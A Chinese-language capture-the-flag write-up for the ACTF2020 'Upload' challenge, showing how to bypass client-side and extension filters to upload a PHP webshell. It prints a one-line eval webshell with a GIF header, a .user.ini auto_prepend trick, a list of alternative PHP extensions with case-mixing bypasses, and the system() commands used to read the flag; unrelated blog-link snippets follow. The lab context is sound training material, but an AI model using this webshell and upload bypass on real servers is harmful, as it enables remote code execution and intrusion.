[ACTF2020 新生赛]Upload 1--详细解析
信息收集
题目告诉我们是一道upload,也就是文件上传漏洞题目。
进入界面,是一个灯泡,将鼠标放在图标上就会出现文件上传的相应位置:

思路
文件上传漏洞,先看看有没有前端校验。
在js源码中找到了前端校验:
也就是只能上传jpg,png,gif后缀的文件。
先准备一个最基本的一句话木马:
//shell.php
GIF89a //这里是为了绕过可能存在的文件头检测
<?php @eval($_POST[1])?>
修改为.png后缀,上传并抓包修改回php后缀

注意左上角,返回的内容是nonono~ Bad file!
此时有两种可能,一种是后端对文件后缀进行了过滤;第二种是对文件内容进行了过滤。
如果我们不修改后缀将.png文件直接上传:

会发现左上角显示上传成功。
Upload Success! Look here~
./uplo4d/00bf23e130fa1e525e332ff03dae345d.png
说明后端对文件内容没有被过滤,被过滤的是后缀名。
既然后缀名被过滤,我们考虑上传.user.ini文件将成功上传的文件以PHP代码形式解析:
//.user.ini
GIF89a
auto_prepend_file=00bf23e130fa1e525e332ff03dae345d.png
同样是修改为.png绕过前端校验与MIME验证,再抓包改回来。

Upload Success! Look here~
./uplo4d/7356ccb66a890ccd51ee57dc56bb134c.ini
这里注意.user.ini文件名上传后被修改为7356ccb66a890ccd51ee57dc56bb134c.ini,那么.user.ini就不能发挥作用了,所以上传.user.ini配置文件的方法失败。
这里学习一个新知识点:
在Apache中,以下后缀名都会被服务器解析为PHP文件:
phtml
php
php3
php4
php5
inc
//下面是对上面的大小写混写绕过
pHtml
pHp
pHp3
pHp4
pHp5
iNc
我们抓包测试一下这些后缀名,看看有没有能上传成功的:

发现html和php的大小写混写都能绕过。
先试了php的大小写混写,确实能上传,但是访问时依然显示解析出错。
还是上传了phtml文件,进入后发现成功访问!

1=system("ls /");
1=system("tac /flag");
得到flag.
总结
学到了Apache下的php后缀名解析漏洞,今后在面对后端后缀名过滤时又多了一种解决方法。
相关文章:
[ACTF2020 新生赛]Upload 1--详细解析
信息收集 题目告诉我们是一道upload,也就是文件上传漏洞题目。 进入界面,是一个灯泡,将鼠标放在图标上就会出现文件上传的相应位置: 思路 文件上传漏洞,先看看有没有前端校验。 在js源码中找到了前端校验ÿ…...
power bi中的related函数解析
在Power BI中,RELATED函数是一种用于检索相关表中数据的函数。它用于在一个表中检索与当前行相关联的另一个表中的数据。 销售成本 [销售数量]*related(商品表[进价])...
目前区块链服务商备案支持的区块链技术类型
status"success"data1-name"比特币/Bitcoin/BTC"3-name"以太坊/Ethereum/ETH"875-name"超级账本/Hyperledger"5-name"柚子/EOS/EOS"6-name"恒星链/Stellar/XLM"1055-name"Quorum"7-name"莱特币/Li…...
CatBoost中的预测偏移和排序提升
在 CatBoost 中,预测偏移(Prediction Shift) 和 排序提升(Ordered Boosting) 是其关键概念和创新点。CatBoost 通过引入 排序提升 解决了梯度提升决策树(GBDT)算法中常见的 预测偏移问题&#x…...
python: postgreSQL using psycopg2 or psycopg
psycopg2 # encoding: utf-8 # 版权所有 2024 ©涂聚文有限公司 # 許可資訊查看:言語成了邀功的功臣,還需要行爲每日來值班嗎? # 描述: pip install --upgrade pip PostgreSQL database adapter for Python # pip install…...
从 MySQL 5.7 到 8.0:理解 GROUP BY 的新规则与实战优化20241112
🎯 从 MySQL 5.7 到 8.0:理解 GROUP BY 的新规则与实战优化 🔎 引言 随着 MySQL 的不断升级,从 5.7 到 8.0,不仅性能得到提升,其对 SQL 标准的严格执行也显著提高。GROUP BY 的行为变化就是一个典型例子。…...
npm完整发包流程(亲测可验证)
1. 准备工作 (1) 在npm官网上注册一个账号 (2) 注册成功之后,npm会发送一封邮件给你,点击邮件里面的链接,做确认关联操作(必需) 2. 创建自己的npm包 (…...
学习threejs,使用JSON格式保存和加载模型
👨⚕️ 主页: gis分享者 👨⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨⚕️ 收录于专栏:threejs gis工程师 文章目录 一、🍀前言1.1 ☘️THREE toJSON()方法 二、&a…...
中国首部《能源法》正式问世,它的亮点有哪些呢?
2024年11月8日,《中华人民共和国能源法》经十四届全国人大常委会第十二次会议审议通过,正式出台,将于明年1月1日起施行。 中国首部《能源法》正式问世,它的亮点有哪些呢? 一、填补立法空白,完善能源法律体…...
【外包】软件行业的原始形态,项目外包与独立开发者
【外包】互联网软件行业的原始形态,项目外包与独立开发者 本科期间写的一些东西,最近整理东西看到了,大致整理一下放出来,部分内容来自其他文章,均已引用。 文章目录 1、互联网软件行业的原始形态2、项目订单ÿ…...
工程数学线性代数(同济第七版)附册课后习题答案PDF
《线性代数附册 学习辅导与习题全解》是与同济大学数学科学学院编《工程数学 线性代数》第七版教材配套的教学辅导书,由同济大学作者团队根据教材内容和要求编写而成。本书在《工程数学 线性代数》第六版附册(即辅导书)的基础上修改而成。全书…...
【Ubuntu24.04】部署服务(基础)
目录 0 背景1 设置静态IP2 连接服务器3 部署服务3.1 安装JDK3.2 下载并安装MySQL8.43.2.1 从官网下载 APT Repository 配置文件3.2.2 安装 MySQL8.43.2.3 配置远程连接 3.3 下载并配置Redis3.4 上传jar包并部署应用3.5 开放端口 4 总结 0 背景 在成功安装了Ubuntu24.04操作系统…...
Linux符号使用记录
~ 账户 home 目录,如果是 root 账户就是 /root . 当前目录 .. 上层目录 | 管道符 & 后台工作,放在完整指令列的最后端,表示将该指令列放入后台中工作。 > 输出重定向,重新…...
初阶C++之C++入门基础
大家好!欢迎来到C篇学习,这篇文章的内容不会很难,为c的引入,c的重点内容将在第二篇的文章中讲解,届时难度会陡然上升,请做好准备! 我们先看网络上的一个梗:21天内⾃学精通C 好了&am…...
ODOO学习笔记(7):模块化架构(按需安装)
一、Odoo模块化架构概述 Odoo是一个功能强大的企业资源规划(ERP)系统,其模块化架构是它的核心优势之一。这种架构允许系统通过添加、移除或修改不同的模块来灵活地适应企业的各种业务需求。 核心模块与自定义模块: Odoo本身带有一…...
Java的dto,和多表的调用
1理论 需求是新增菜品eg:菜名:豆腐脑;口味:甜口,咸口, 菜单表:dish;口味表dish_flavor; 1dto:数据传输对象 新建一个dishDto对象有两个表里的属性 2用到两个表,dish,d…...
时序数据库TimescaleDB安装部署以及常见使用
文章目录 一、时序数据库二、TimescaleDB部署1、repository yum仓库配置2、yum在线安装3、插件配置4、TimescaleDB使用登录pg创建插件使用超表 一、时序数据库 什么是时序数据库?顾名思义,用于处理按照时间变化顺序的数据的数据库即为时序数据库&#x…...
MG算法(英文版)题解
翻译: 考虑一个加法流,其中一个特定项目出现 n^(1/2) 次,并且有 n - n^(1/2) - 1 个其他不同的项目,每个项目出现一次。在应用 Misra-Gries(MG)算法时,应该选择哪个 ε(epsilon&…...
2-UML概念模型测试
1. (单选题, 1.0 分) UML中的关系不包括()。 A. 抽象B. 实现C. 依赖D. 关联 我的答案:A正确答案: A 知识点: UML的构成 1.0分 2. (单选题, 1.0 分) 下列事物不属于UML结构事物的是()。 A. 组件B. 类C. 节点D. 状…...
人工智能(AI)对于电商行业的变革和意义
 / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...
渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止
<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...
LeetCode - 394. 字符串解码
题目 394. 字符串解码 - 力扣(LeetCode) 思路 使用两个栈:一个存储重复次数,一个存储字符串 遍历输入字符串: 数字处理:遇到数字时,累积计算重复次数左括号处理:保存当前状态&a…...
【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)
服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...
Qwen3-Embedding-0.6B深度解析:多语言语义检索的轻量级利器
第一章 引言:语义表示的新时代挑战与Qwen3的破局之路 1.1 文本嵌入的核心价值与技术演进 在人工智能领域,文本嵌入技术如同连接自然语言与机器理解的“神经突触”——它将人类语言转化为计算机可计算的语义向量,支撑着搜索引擎、推荐系统、…...
srs linux
下载编译运行 git clone https:///ossrs/srs.git ./configure --h265on make 编译完成后即可启动SRS # 启动 ./objs/srs -c conf/srs.conf # 查看日志 tail -n 30 -f ./objs/srs.log 开放端口 默认RTMP接收推流端口是1935,SRS管理页面端口是8080,可…...
视频字幕质量评估的大规模细粒度基准
大家读完觉得有帮助记得关注和点赞!!! 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用,因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型(VLMs)在字幕生成方面…...
TRS收益互换:跨境资本流动的金融创新工具与系统化解决方案
一、TRS收益互换的本质与业务逻辑 (一)概念解析 TRS(Total Return Swap)收益互换是一种金融衍生工具,指交易双方约定在未来一定期限内,基于特定资产或指数的表现进行现金流交换的协议。其核心特征包括&am…...
WEB3全栈开发——面试专业技能点P2智能合约开发(Solidity)
一、Solidity合约开发 下面是 Solidity 合约开发 的概念、代码示例及讲解,适合用作学习或写简历项目背景说明。 🧠 一、概念简介:Solidity 合约开发 Solidity 是一种专门为 以太坊(Ethereum)平台编写智能合约的高级编…...
Caliper 配置文件解析:config.yaml
Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...
